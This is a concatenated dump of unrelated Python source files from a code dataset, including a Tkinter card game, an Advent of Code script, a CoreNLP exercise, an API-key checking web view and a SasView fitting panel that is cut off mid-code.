self.js_call(\"remove_trace\", [rindex])\n \n def set_pause(self, rindex, delay):\n self.js_call('set_pause', [rindex, delay])\n \n def set_trace(self, rindex, x,y, color):\n self.js_call('set_trace', [rindex, x, y, color])\n \n def set_number(self, beeper):\n self.js_call('set_beeper_number', [beeper.av, beeper.st, beeper.num])\n\n def rotate_left(self, rindex):\n self.js_call('rotate_left', [rindex])\n\n def beepers_count(self):\n return len(self.beepers)\n\n def flags_count(self):\n return len(self.flags)\n \n def check(self):\n ret = (self.beepers_count() == 0) and (self.flags_count() == 0)\n if ret == True:\n self.js_call('success_msg', [\"Congrats, Task Completed.\"])\n else:\n self.js_call('failed_msg', [\"Oops, Task Failed.\"])\n return ret\n\n def add_beeper(self, av, st):\n x, y = self.cr2xy(2 * av - 1, 2 * st - 1)\n \"\"\"Add a single beeper.\"\"\"\n if (av, st) in self.beepers:\n self.beepers[(av, st)] += 1\n bp = self.beeper_icons[(av,st)]\n bp.set_number(self.beepers[(av, st)])\n self.js_call('update_beeper', [av, st, self.beepers[(av, st)]])\n else:\n self.beepers[(av, st)] = 1\n self._create_beeper(av, st)\n self.js_call('add_beeper', [av, st, x, y, self.beepers[(av, st)]])\n\n def remove_beeper(self, av, st):\n \"\"\"Remove a beeper (does nothing if no beeper here).\"\"\"\n x, y = self.cr2xy(2 * av - 1, 2 * st - 1)\n \n if (av, st) in self.beepers:\n self.beepers[(av, st)] -= 1\n if self.beepers[(av, st)] == 0:\n del self.beepers[(av, st)]\n del self.beeper_icons[(av,st)]\n self.js_call('remove_beeper', [av, st])\n else:\n bp = self.beeper_icons[(av,st)]\n bp.set_number(self.beepers[(av, st)])\n self.js_call('update_beeper', [av, st, self.beepers[(av, st)]])\n \n\n def remove_flag(self, av, st):\n if (av, st) in self.flags:\n _flag_index = self.flags.index((av, st))\n self.flags.pop(_flag_index)\n self.js_call('remove_flag', [av, st])\n \n def add_flag(self, av, st):\n x, y = self.cr2xy(2 * av - 1, 2 * st - 1)\n if not ((av, st) in self.flags):\n self.flags.append((av, st))\n self.js_call('add_flag', [av, st, x, y])\n","sub_path":"ttgtcanvas/modules/maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":14331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"462232994","text":"\"\"\"\nFikri Ghazi\nCIS177\nJune 24, 2016\n\nProgram: Fizbiz\nDescription: A Tkinter game about finding a match for an unknown card.\n And here's the game diagram:\n\n Main Window _______________________________\n | [X] | = Frame-1\n | GUESS THE CARD! | = Frame-1\n | |\n | [3] [4] [A] [5] [7] [K] [3] [Q] [8] [J] | = Frame-2\n | _________ ____ |\n | Player_1: Bot: | = Frame-3\n | 15 20 | = Frame-3\n | RESET GAME | = Frame-footer\n |_________________________________________|\n\"\"\"\n\nfrom tkinter import *\nfrom tkinter import messagebox\nimport random\nfrom player import Player\n\n\nclass FizbizGUI:\n N_CARDS = 10 # number of side-up cards\n MAX_SCORE = 7\n\n def __init__(self):\n\n \"\"\" #######################################################################\n Game setup:\n - Create game's main window\n - Create game's main UI containers: Frame-1, Frame-2, Frame-3, Frame-footer\n \"\"\"\n\n # Create the main Window for this GUI called mainWindow\n self.__mainWindow = Tk()\n self.__mainWindow.configure(background=\"white\", borderwidth=50)\n self.__mainWindow.title(\"Fizbiz\")\n\n # Create Frames\n frame_1 = Frame(self.__mainWindow)\n frame_2 = Frame(self.__mainWindow)\n frame_3 = Canvas(self.__mainWindow, bg='red')\n\n frame_footer = Frame(self.__mainWindow)\n\n # Attach frames to the game's main-window\n frame_1.pack()\n frame_2.pack()\n frame_3.pack(fill=BOTH, expand=1)\n frame_footer.pack()\n\n \"\"\" #######################################################################\n Game setup Pt.2:\n Setup game's attributes\n \"\"\"\n\n ## Store PhotoImages to make Labels of cards ---------------------------\n\n self.__deckOfCards_imgs = [] # Create an empty array then,\n\n # Append 52 PhotoImages of cards into array\n for i in range(52):\n self.__deckOfCards_imgs.append( PhotoImage(file=\"cards_gif/\"+str(i+1)+\".gif\") )\n random.shuffle(self.__deckOfCards_imgs)\n\n # Create a PhotoImage of a closed-card\n self.__closedCard_img = PhotoImage(file=\"cards_gif/b1fv.gif\")\n\n ## Store Labels -------------------------------------------------------\n\n self.__deckOfCards_lbls = [] # Create an empty array to store Labels then,\n\n # Append 52 Labels of cards into the array\n for i in range(52):\n self.__deckOfCards_lbls.append( Label(frame_2, image=self.__deckOfCards_imgs[i]) )\n\n # Create a Label of a closed card\n self.__unknownCard_lbl = Label(frame_1, image=self.__closedCard_img)\n\n # Create answer to the unknown card\n self.__unknownCardAnswer_lbl = self.__deckOfCards_lbls[random.randint(0,self.N_CARDS-1)]\n\n # Track whether the unknown card is open or closed\n self.__isUnknownCardOpen = False\n\n # Track whether the unknown card is found or not\n self.isUnknownCardFound = False\n\n \"\"\" #######################################################################\n frame_1: contains a closed-card Label and a text Label\n \"\"\"\n\n # Create text Label which will appear at the initial state of the game\n self.__gameGreeting = Label(frame_1, text=\"-\\nGUESS THE CARD!\\n\", font=(\"Helvetica\", 32))\n\n # Populate frame_1 with widgets\n self.__unknownCard_lbl.pack()\n self.__gameGreeting.pack()\n\n # When the unknown card is clicked, then open the card\n self.__unknownCard_lbl.bind(\"<Button-1>\", self.__openTheUnknownCard)\n\n \"\"\" #######################################################################\n frame_2: contains n open cards, where n is the constant value of N_CARDS\n \"\"\"\n\n # Populate n Labels of cards into Frame 2\n for i in range(self.N_CARDS):\n\n self.__deckOfCards_lbls[i].grid(row=0, column=i)\n\n # When an open card is clicked, then check if the card is a match\n self.__deckOfCards_lbls[i].bind(\"<Button-1>\", self.__checkGuessedCard)\n\n \"\"\" #######################################################################\n frame_3: contains the scoreboard of two players\n \"\"\"\n\n # Create frame_3 children frames\n frame_3_1_left = Frame(frame_3, width=1, height=1, bd=40)\n frame_3_1_right = Frame(frame_3, width=1, height=1, bd=40)\n\n # Create 2 players\n self.__Yoda = Player(name=\"YODA\", score=self.MAX_SCORE, turn=True)\n self.__Robot = Player(name=\"R2D2\", score=self.MAX_SCORE)\n\n # Create Yoda's box score ---------------------------------\n self.Yoda_lbl = Label(frame_3_1_left,\n text = self.__Yoda.getPlayersName(),\n font = (\"Helvetica\", 24),\n )\n self.YodasScore_lbl = Label(frame_3_1_left,\n text=self.__Yoda.getPlayersScores(),\n font=(\"Helvetica\", 24)\n )\n\n # Create R2D2's box score ---------------------------------\n self.Robot_lbl = Label(frame_3_1_right,\n text = self.__Robot.getPlayersName(),\n font = (\"Helvetica\", 24),\n #bg=\"blue\"\n )\n self.RobotsScore_lbl = Label(frame_3_1_right,\n text=self.__Robot.getPlayersScores(),\n font=(\"Helvetica\", 24)\n )\n\n # Attach box-scores to frame_3 children frames\n self.Yoda_lbl.pack()\n self.YodasScore_lbl.pack()\n self.Robot_lbl.pack()\n self.RobotsScore_lbl.pack()\n\n # Attach frame_3's childern frames to frame_3\n frame_3_1_left.pack(fill=BOTH, side=LEFT, expand=True)\n frame_3_1_right.pack(fill=BOTH, side=LEFT, expand=True)\n\n # Set Yoda to always be the first player.\n if self.__Yoda.isTurn:\n self.__changeBackgroundColor(self.Yoda_lbl, \"yellow\")\n\n \"\"\" #######################################################################\n frame_footer: only contains the reset button\n \"\"\"\n\n # Create and attach the button to frame_footer\n reset_btn = Button(frame_footer, text=\"RESET GAME\", command=self.__resetGame)\n reset_btn.pack()\n\n ## loop the game ##########################\n self.__mainWindow.mainloop()\n\n # End of initializer\n\n \"\"\"\n FizbizGUI private functions: -----------------------------------------------------------------------\n \"\"\"\n\n def __checkGuessedCard(self, event):\n # Print to Console for testing\n print(\"__checkGuessedCard() is called:\")\n\n self.isUnknownCardFound = True if event.widget == self.__unknownCardAnswer_lbl else False\n\n # Show feedback to user everytime he/she tries to match a card\n self.__showFeedback(self.isUnknownCardFound)\n\n # If Yoda Found the card, prompt a congrats message\n if self.__Yoda.isTurn and self.isUnknownCardFound:\n self.__openTheUnknownCard(event)\n messagebox.showinfo(\"CONGRATULATIONS\", \"YODA WINS\\nGAME OVER\")\n\n # If Yoda could not find the card, then subtract his score and let R2D2 play\n elif self.__Yoda.isTurn and self.isUnknownCardFound==False:\n self.__Yoda.subtractScores(pt=1)\n self.YodasScore_lbl[\"text\"] = self.__Yoda.getPlayersScores()\n self.__Yoda.isTurn = False\n self.__Robot.isTurn = True\n self.__changeBackgroundColor(self.Yoda_lbl, \"white\")\n self.__changeBackgroundColor(self.Robot_lbl, \"PaleTurquoise1\")\n\n # If RT2D2 Found the card, prompt a congrats message\n elif self.__Robot.isTurn and self.isUnknownCardFound:\n self.__openTheUnknownCard(event)\n messagebox.showinfo(\"CONGRATULATIONS\", \"R2D2 WINS.\\nGAME OVER\")\n\n # If R2D2 could not find the card, then subtract his score and let YODA play\n elif self.__Robot.isTurn and self.isUnknownCardFound==False:\n self.__Robot.subtractScores(pt=1)\n self.RobotsScore_lbl[\"text\"] = self.__Robot.getPlayersScores()\n self.__Robot.isTurn = False\n self.__Yoda.isTurn = True\n self.__changeBackgroundColor(self.Yoda_lbl, \"yellow\")\n self.__changeBackgroundColor(self.Robot_lbl, \"white\")\n\n def __openTheUnknownCard(self, event):\n # Print to Console for testing\n print(\"__openTheUnknownCard() is called:\")\n print(self.__unknownCard_lbl[\"image\"], self.__unknownCardAnswer_lbl[\"image\"])\n\n self.__isUnknownCardOpen = True\n print(\"isUnknownCardOpen=\", self.__isUnknownCardOpen)\n\n # Open the card\n self.__unknownCard_lbl[\"image\"] = self.__unknownCardAnswer_lbl[\"image\"]\n\n def __showFeedback(self, isUnknownCardFound):\n nopeMsgs = [\"NOPE\", \"VERY CLOSE\", \"ALMOST\", \"TRY AGAIN\"]\n yesMsgs = [\"YAHOO!!!\", \"WOHOOO\", \"THERE YOU GO!\"]\n\n if isUnknownCardFound == False:\n self.__gameGreeting[\"text\"] = \"-\\n\" + nopeMsgs[ random.randint( 1,len(nopeMsgs)-1 ) ] + \"\\n\"\n else:\n self.__gameGreeting[\"text\"] = \"-\\n\" + yesMsgs[random.randint(1, len(yesMsgs) - 1)] + \"\\n\"\n\n def __changeBackgroundColor(self, widget, color):\n widget[\"bg\"] = color\n\n def __resetGame(self):\n self.__mainWindow.destroy()\n self.__init__()\n\n\nFizbizGUI()\n","sub_path":"app/fizbiz.py","file_name":"fizbiz.py","file_ext":"py","file_size_in_byte":9799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"585932437","text":"import re, pyperclip\n'''\nMoves are always exactly one house to the\nnorth (^), south (v), east (>), or west (<).\nAfter each move,\nhe delivers another present\nto the house at his new location.\n'''\n\ntext = pyperclip.paste()\n\n\nUnique_houses = 0\nx=y=0\nMatrix = {}\nMatrix[x,y] = 1\nfor i in text:\n if i == \"^\":\n\n y += 1\n\n elif i == \"v\":\n\n x -= 1\n\n elif i == \"<\":\n\n y -= 1\n\n elif i == \">\":\n\n x -= 1\n\n Matrix[x,y] = 1\n\nfor i in Matrix:\n Unique_houses += 1\nprint (Unique_houses)\n","sub_path":"adventcode1_3-1py.py","file_name":"adventcode1_3-1py.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543954725","text":"\"\"\"\n56. 共参照解析\nStanford Core NLPの共参照解析の結果に基づき,文中の参照表現(mention)を代表参照表現\n(representative mention)に置換せよ.ただし,置換するときは,「代表参照表現(参照表現)」\nのように,元の参照表現が分かるように配慮せよ.\n--- 秋山 Note\n<head>は、主幹?、多分 the とかを飛ばした始まり? で使用せず。\nElement Tree, Stanford Core NLP の使い方等、素人の100本ノックさん等を参考にした。\nそれを元に、Element Treeの呼び方工夫、デバックの為に文を指定出来るよう、ループの簡素化等の改編\n\n\"\"\"\n# coding: utf-8\n#from collections import defaultdict\n\nimport re\nimport xml.etree.ElementTree as ET\nfrom collections import defaultdict\n\nxml_root = ET.parse('nlp.txt.xml')\n\nbeg = 2\nend = 3\n\nrepre_d = defaultdict(lambda: 0)\n\n\nfor ii, coref in enumerate(xml_root.iterfind('./document/coreference/coreference')):\n if (ii+1 >= beg) and (ii+1 <= end):\n #print(*coref)\n for coref_mem in coref.findall('mention'):\n if coref_mem.get('representative') == 'true':\n rep_word = coref.findtext('./mention/text')\n #print(rep_word)\n #print(coref_mem.get('representative', 'false'))\n else:\n sent_id = int(coref_mem.findtext('sentence'))\n start = int(coref_mem.findtext('start'))\n end = int(coref_mem.findtext('end'))\n\n if repre_d[(sent_id,start)] == 0:\n # use defaultdict, so not check with 'in'\n repre_d[(sent_id,start)] = (end, rep_word)\n #無いなら、辞書型[文番号,開始単語ID]=(終了単語ID,元単語)\n\nfor sentence in xml_root.iterfind('./document/sentences/sentence'):\n sent_id = int(sentence.get('id'))\n #To edit sentence, get sentence itself\n\n if (sent_id >= beg) and (sent_id <= end):\n rep_rest =0\n for token in sentence.iterfind('./tokens/token'):\n token_id = int(token.get('id'))\n\n\n if rep_rest == 0 and (sent_id, token_id) in repre_d:\n #(文番号,単語ID)が、参照先辞書にあるか?\n\n (end, rep_text) = repre_d[(sent_id, token_id)]\n #あれば、終了単語IDと代表参照表現(参照元表現)を取り出す\n\n print('[' + rep_text + '] (', end = '')\n #まず、代表参照表現と括弧達\n rep_rest = end - token_id\n #参照先終了IDXから、開始IDX引いてRepTextに入れる。\n\n\n print(token.findtext('word'), end = '')\n #参照に関係ない所は単語ごとに、文を印刷\n\n if rep_rest > 0:\n rep_rest -= 1\n if rep_rest == 0:\n print(')', end = '')\n #参照元のオリジナル表現の最後に括弧入れる為に、残りを計算\n\n\n print(' ', end = '')\n #単語間の空白\n\n print()\n","sub_path":"kohei4/chapter06/knock56.py","file_name":"knock56.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613558224","text":"# Task Overview:\r\n# You have to write a function that accepts three parameters:\r\n#\r\n# cap is the amount of people the bus can hold excluding the driver.\r\n# on is the number of people on the bus excluding the driver.\r\n# wait is the number of people waiting to get on to the bus excluding the driver.\r\n# If there is enough space, return 0, and if there isn't, return the number of passengers he can't take.\r\n#\r\n# Usage Examples:\r\n# cap = 10, on = 5, wait = 5 --> 0 # He can fit all 5 passengers\r\n# cap = 100, on = 60, wait = 50 --> 10 # He can't fit 10 of the 50 waiting\r\n\r\ndef enough(cap, on, wait):\r\n a = cap - on - wait\r\n if a < 0:\r\n return abs(a)\r\n else:\r\n return 0\r\n\r\nprint(enough(10, 5, 5))\r\nprint(enough(100, 60, 50))\r\nprint(enough(20, 5, 5))","sub_path":"Will there be enough space.py","file_name":"Will there be enough space.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530288104","text":"# a partial order is a set of events together with the causality relation\n# we only store information about direct causality\n\nfrom Exceptions import*\nfrom Relations import *\nfrom Structures import *\n\ndef lpo(E,causality):\n\n lpo={}\n lpo[\"events\"]=E\n lpo[\"cau\"]=causality\n \n return lpo\n\ndef is_lpo(lpo):\n\n try:\n if not (list(lpo.keys())==[\"cau\",\"events\"] or list(lpo.keys())==[\"events\",\"cau\"]):\n raise not_LPO\n \n if not acyclic(lpo[\"cau\"]):\n raise not_Partial_Order\n\n if not diff_events(lpo[\"events\"]):\n raise not_Set_of_Events\n\n if not relation_over_events(lpo[\"cau\"],lpo[\"events\"]):\n raise extra_Event\n \n\n return True\n\n except not_LPO:\n print(\"there are more than events and causality\")\n\n except not_Partial_Order:\n print(\"causality is not acyclic\")\n\n except not_Set_of_Events:\n print(\"some event is defined twice with different labels\")\n\n except extra_Event:\n print(\"some event in causality is not specified\")\n\n return\n\n# it renames all the events (and its appearances in causality) of the LPO\n# adding \"string\" ath the beggining fo the name\ndef rename_lpo(string,target_lpo):\n\n new_lpo=lpo([],[])\n\n for x in target_lpo[\"events\"]:\n new_lpo[\"events\"].append((string + x[0],x[1]))\n \n for x in target_lpo[\"cau\"]:\n new_lpo[\"cau\"].append((string + x[0], string + x[1]))\n\n return new_lpo\n\n# it returns the minimal (w.r.t <) elements of the LPO\ndef minimals(lpo):\n\n is_min={}\n for x in lpo[\"events\"]:\n is_min[x[0]]=True\n\n for (x,y) in lpo[\"cau\"]:\n is_min[y]=False\n\n res=[i for i in is_min.keys() if is_min[i]]\n \n return res\n\n","sub_path":"LPO.py","file_name":"LPO.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"348828412","text":"\"\"\"\nImplementation of a API specific HTTP service view.\n\"\"\"\n\nimport colander\nfrom ipaddress import ip_address\nimport simplejson as json\n\nfrom ichnaea.api.exceptions import (\n DailyLimitExceeded,\n InvalidAPIKey,\n ParseError,\n)\nfrom ichnaea.api.rate_limit import rate_limit_exceeded\nfrom ichnaea.exceptions import GZIPDecodeError\nfrom ichnaea.models.api import ApiKey\nfrom ichnaea.models.constants import VALID_APIKEY_REGEX\nfrom ichnaea import util\nfrom ichnaea.webapp.view import BaseView\n\n\nclass BaseAPIView(BaseView):\n \"\"\"Common base class for all API related views.\"\"\"\n\n check_api_key = True # Should API keys be checked?\n error_on_invalidkey = True # Deny access for invalid API keys?\n metric_path = None # Dotted URL path, for example v1.submit.\n schema = None # An instance of a colander schema to validate the data.\n view_type = None # The type of view, for example submit or locate.\n\n def __init__(self, request):\n super(BaseAPIView, self).__init__(request)\n self.raven_client = request.registry.raven_client\n self.redis_client = request.registry.redis_client\n self.stats_client = request.registry.stats_client\n\n def log_unique_ip(self, valid_key):\n addr = self.request.client_addr\n if isinstance(addr, bytes): # pragma: no cover\n addr = addr.decode('ascii')\n try:\n ip = str(ip_address(addr))\n except ValueError: # pragma: no cover\n ip = None\n if ip:\n redis_key = 'apiuser:{api_type}:{api_key}:{date}'.format(\n api_type=self.view_type,\n api_key=valid_key,\n date=util.utcnow().date().strftime('%Y-%m-%d'),\n )\n with self.redis_client.pipeline() as pipe:\n pipe.pfadd(redis_key, ip)\n pipe.expire(redis_key, 691200) # 8 days\n pipe.execute()\n\n def log_count(self, valid_key, log_ip):\n if valid_key is None:\n valid_key = 'none'\n\n self.stats_client.incr(\n self.view_type + '.request',\n tags=['path:' + self.metric_path,\n 'key:' + valid_key])\n\n if self.request.client_addr and log_ip:\n try:\n self.log_unique_ip(valid_key)\n except Exception: # pragma: no cover\n self.raven_client.captureException()\n\n def check(self):\n api_key = None\n api_key_text = self.parse_apikey()\n skip_check = False\n\n if api_key_text is None:\n self.log_count(None, False)\n if self.error_on_invalidkey:\n raise self.prepare_exception(InvalidAPIKey())\n\n if api_key_text is not None:\n try:\n session = self.request.db_session\n api_key = ApiKey.get(session, api_key_text)\n except Exception:\n # if we cannot connect to backend DB, skip api key check\n skip_check = True\n self.raven_client.captureException()\n\n if api_key is not None and api_key.allowed(self.view_type):\n self.log_count(api_key.valid_key, True)\n\n rate_key = 'apilimit:{key}:{path}:{time}'.format(\n key=api_key_text,\n path=self.metric_path,\n time=util.utcnow().strftime('%Y%m%d')\n )\n\n should_limit = rate_limit_exceeded(\n self.redis_client,\n rate_key,\n maxreq=api_key.maxreq\n )\n\n if should_limit:\n raise self.prepare_exception(DailyLimitExceeded())\n elif skip_check:\n pass\n else:\n if api_key_text is not None:\n self.log_count('invalid', False)\n if self.error_on_invalidkey:\n raise self.prepare_exception(InvalidAPIKey())\n\n # If we failed to look up an ApiKey, create an empty one\n # rather than passing None through\n api_key = api_key or ApiKey(valid_key=None,\n allow_fallback=False,\n allow_locate=True,\n allow_transfer=False,\n store_sample_locate=100,\n store_sample_submit=100)\n return self.view(api_key)\n\n def parse_apikey(self):\n try:\n api_key_text = self.request.GET.get('key', None)\n except Exception: # pragma: no cover\n api_key_text = None\n # check length against DB column length and restrict\n # to a known set of characters\n if (api_key_text and (3 < len(api_key_text) < 41) and\n VALID_APIKEY_REGEX.match(api_key_text)):\n return api_key_text\n return None\n\n def preprocess_request(self):\n errors = []\n\n request_content = self.request.body\n if self.request.headers.get('Content-Encoding') == 'gzip':\n # handle gzip self.request bodies\n try:\n request_content = util.decode_gzip(self.request.body)\n except GZIPDecodeError as exc:\n errors.append({'name': None, 'description': repr(exc)})\n\n request_data = {}\n try:\n request_data = json.loads(\n request_content, encoding=self.request.charset)\n except ValueError as exc:\n errors.append({'name': None, 'description': repr(exc)})\n\n validated_data = {}\n try:\n validated_data = self.schema.deserialize(request_data)\n except colander.Invalid as exc:\n errors.append({'name': None, 'description': exc.asdict()})\n\n if request_content and errors:\n raise self.prepare_exception(ParseError())\n\n return (validated_data, errors)\n\n def __call__(self):\n \"\"\"Execute the view and return a response.\"\"\"\n if self.check_api_key:\n return self.check()\n else:\n api_key = ApiKey(\n valid_key=None, allow_fallback=False,\n allow_locate=True, allow_transfer=False,\n store_sample_locate=100, store_sample_submit=100)\n # Only use the unchecked API key in the request for simple\n # logging purposes.\n self.log_count(self.parse_apikey(), False)\n return self.view(api_key)\n","sub_path":"ichnaea/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"579209165","text":"# 1) if an error occured:\n # try > except > finaly\n\n# 2) if no error:\n # try > else > finally\n\n# if there are such constructions like continue or break -- finally block will execute before them no matter what\n\ndef ask_for_int():\n\n while True:\n try:\n num = int(input(\"Enter a number: \"))\n # manualy throw\n raise NameError\n\n except ValueError:\n print(\"Whoops, you entered a wrong integer\\n\")\n continue\n except NameError:\n pass\n else:\n print(\"else\")\n break\n finally:\n print(\"Finaly\\n\")\n\n\n\n# ask_for_int()\n\n\nfor i in ['a','b','c']:\n try:\n print(i**2)\n except TypeError:\n print(\"Unsupported type\\n\")\n\n\n\nx = 5\ny = 0\n\ntry:\n z = x/y\nexcept ZeroDivisionError:\n print(\"Cannot divide by zero\\n\")\nfinally:\n print(\"All done\\n\")\n\n\nwhile True:\n try:\n num = int(input(\"Input an integer: \"))\n squared = num * num\n except ValueError:\n print(\"An error occurred! Please try again!\")\n continue\n else:\n print(f\"Thank you, your number squared is: {squared}\")\n break","sub_path":"py_z_h/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82179429","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 29 10:28:54 2017\n\n@author: Chenli Zhang\n\"\"\"\nimport TextUtils\nimport Dictionarys\nfrom Government import Organization\n\n\nclass Config:\n def __init__(self):\n self.names=[]\n self.locations=[]\n self.orgnizations = []\n\n def getNames(self):\n return self.names\n \n def getLoc(self):\n return self.locations\n \n def addName(self,n):\n if n not in self.names:\n self.names.append(n)\n \n def addLocation(self,l):\n if l not in self.locations:\n self.locations.append(l)\n\n def parseName(self,line):\n if line[0:5] != 'name:':\n return\n \n names = line[5:]\n ns = names.split(',')\n for n in ns:\n n=n.decode('utf-8')\n if n not in self.names and len(n)>0:\n self.names.append(n)\n \n def parseLoc(self,line):\n if line[0:9] != 'location:':\n return\n \n names = line[9:]\n ns = names.split(',')\n for n in ns:\n n=n.decode('utf-8')\n if n not in self.locations and len(n)>0:\n self.locations.append(n)\n \n def parseGov(self,line):\n if line[0:9] != 'governor:':\n return\n \n gov = Organization()\n sub = line[9:]\n pos=0\n while(True):\n pos = sub.find(':')\n if pos == -1:\n break\n name = sub[0:pos]\n name=name.decode('utf-8')\n gov.setName(name)\n sub= sub[pos+1:]\n \n ps = sub.split(',')\n for p in ps: \n p=p.decode('utf-8')\n gov.addPosition(p)\n self.orgnizations.append(gov)\n \n \n def parse(self,config):\n fp = open(config,'r')\n \n for line in fp:\n \n #print(line)\n if line.find('name:') != -1:\n self.parseName(line)\n elif line.find('location:') != -1:\n self.parseLoc(line)\n elif line.find('governor:') != -1:\n self.parseGov(line)\n fp.close()\n #print(self.names)\n \n def dump(self,config):\n fp = open(config,'w')\n if len(self.names)> 0:\n fp.write('name:')\n for n in self.names:\n fp.write(n+',')\n \n if len(self.locations)>0:\n fp.write('location:')\n for n in self.locations:\n fp.write(n+',')\n \n if len(self.orgnizations)>0: \n for g in self.orgnizations:\n fp.write('governor:')\n for n in g.name:\n fp.write(n+':')\n for p in g.position:\n fp.write(p+',')\n\n fp.close()\n ","sub_path":"BookReader/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200817880","text":"\"\"\"\n Simultaneous or Batch fit page\n\"\"\"\n# Note that this is used for both Simultaneous/Constrained fit AND for\n# combined batch fit. This is done through setting of the batch_on parameter.\n# There are the a half dozen or so places where an if statement is used as in\n# if not batch_on:\n# xxxx\n# else:\n# xxxx\n# This is just wrong but dont have time to fix this go. Proper approach would be\n# to strip all parts of the code that depend on batch_on and create the top\n# level class from which a contrained/simultaneous fit page and a combined\n# batch page inherit.\n#\n# 04/09/2017 --PDB\n\nimport sys\nfrom collections import namedtuple\n\nimport wx\nimport wx.lib.newevent\nfrom wx.lib.scrolledpanel import ScrolledPanel\n\nfrom sas.sascalc.fit.pagestate import SimFitPageState\nfrom sas.sasgui.guiframe.events import StatusEvent, PanelOnFocusEvent\nfrom sas.sasgui.guiframe.panel_base import PanelBase\nfrom sas.sasgui.guiframe.utils import IdList\nfrom sas.sasgui.guiframe.documentation_window import DocumentationWindow\n\n# Control panel width\nif sys.platform.count(\"darwin\") == 0:\n PANEL_WID = 420\n FONT_VARIANT = 0\nelse:\n PANEL_WID = 490\n FONT_VARIANT = 1\n\n\n# Each constraint requires five widgets and sizer. Package them in\n# a named tuple for easy access.\nConstraintLine = namedtuple('ConstraintLine',\n 'model_cbox param_cbox egal_txt constraint btRemove sizer')\n\n\ndef get_fittableParam(model):\n \"\"\"\n return list of fittable parameters from a model\n\n :param model: the model used\n\n \"\"\"\n fittable_param = []\n for item in model.getParamList():\n if not item in model.getDispParamList():\n if not item in model.non_fittable:\n fittable_param.append(item)\n\n for item in model.fixed:\n fittable_param.append(item)\n\n return fittable_param\n\nclass SimultaneousFitPage(ScrolledPanel, PanelBase):\n \"\"\"\n Simultaneous fitting panel\n All that needs to be defined are the\n two data members window_name and window_caption\n \"\"\"\n # Internal name for the AUI manager\n window_name = \"Simultaneous Fit Page\"\n # Title to appear on top of the window\n window_caption = \"Simultaneous Fit Page\"\n ID_DOC = wx.NewId()\n ID_SET_ALL = wx.NewId()\n ID_FIT = wx.NewId()\n ID_ADD = wx.NewId()\n _id_pool = IdList()\n\n def __init__(self, parent, page_finder={}, id=wx.ID_ANY, batch_on=False,\n *args, **kwargs):\n ScrolledPanel.__init__(self, parent, id=id,\n style=wx.FULL_REPAINT_ON_RESIZE,\n *args, **kwargs)\n PanelBase.__init__(self, parent)\n \"\"\"\n Simultaneous page display\n \"\"\"\n self._ids = iter(self._id_pool)\n self.SetupScrolling()\n # Font size\n self.SetWindowVariant(variant=FONT_VARIANT)\n self.uid = wx.NewId()\n self.parent = parent\n self.batch_on = batch_on\n # store page_finder\n self.page_finder = page_finder\n # list containing info to set constraint\n # look like self.constraint_dict[page_id]= page\n self.constraint_dict = {}\n # item list\n # self.constraints_list=[combobox1, combobox2,=,textcrtl, button ]\n self.constraints_list = []\n # list of current model\n self.model_list = []\n # selected model to fit\n self.model_to_fit = []\n # Control the fit state\n self.fit_started = False\n # number of constraint\n self.nb_constraint = 0\n self.state = SimFitPageState()\n self.model_cbox_left = None\n self.model_cbox_right = None\n # draw page\n self.define_page_structure()\n self.draw_page()\n self._set_save_flag(False)\n\n def define_page_structure(self):\n \"\"\"\n Create empty sizers, their hierarchy and set the sizer for the panel\n \"\"\"\n self.vbox = wx.BoxSizer(wx.VERTICAL)\n self.data_selection_sizer = wx.BoxSizer(wx.VERTICAL)\n self.constraints_sizer = wx.BoxSizer(wx.VERTICAL)\n self.run_fit_sizer = wx.BoxSizer(wx.VERTICAL)\n\n self.data_selection_sizer.SetMinSize((PANEL_WID, -1))\n self.constraints_sizer.SetMinSize((PANEL_WID, -1))\n self.run_fit_sizer.SetMinSize((PANEL_WID, -1))\n self.vbox.Add(self.data_selection_sizer)\n self.vbox.Add(self.constraints_sizer)\n self.vbox.Add(self.run_fit_sizer)\n self.SetSizer(self.vbox)\n self.Centre()\n\n def set_state(self):\n \"\"\"\n Define a set of state parameters for saving simultaneous fits.\n \"\"\"\n self._set_constraint()\n self.state.fit_page_no = self.uid\n self.state.select_all = self.cb1.GetValue()\n self.state.model_list = self.model_list\n self.state.model_to_fit = self.model_to_fit\n self.state.no_constraint = self.nb_constraint\n self.state.constraint_dict = self.constraint_dict\n self.state.constraints_list = self.constraints_list\n return self.get_state()\n\n def get_state(self):\n \"\"\"\n Return the state of the current page\n :return: self.state\n \"\"\"\n return self.state\n\n def load_from_save_state(self, sim_state):\n \"\"\"\n Load in a simultaneous/constrained fit from a save state\n :param fit: Fitpanel object\n :return: None\n \"\"\"\n init_map = {}\n final_map = {}\n # Process each model and associate old M# with new M#\n i = 0\n for model in self.model_list:\n model_id = self._format_id(list(model[1].keys())[0])\n for saved_model in sim_state.model_list:\n save_id = saved_model.pop('name')\n saved_model['name'] = save_id\n save_id = self._format_id(save_id)\n if save_id == model_id:\n inter_id = str(i)*5\n init_map[saved_model.pop('fit_page_source')] = inter_id\n final_map[inter_id] = model[3].name\n check = bool(saved_model.pop('checked'))\n self.model_list[i][0].SetValue(check)\n break\n i += 1\n\n self.check_model_name(None)\n\n if len(sim_state.constraints_list) > 0:\n 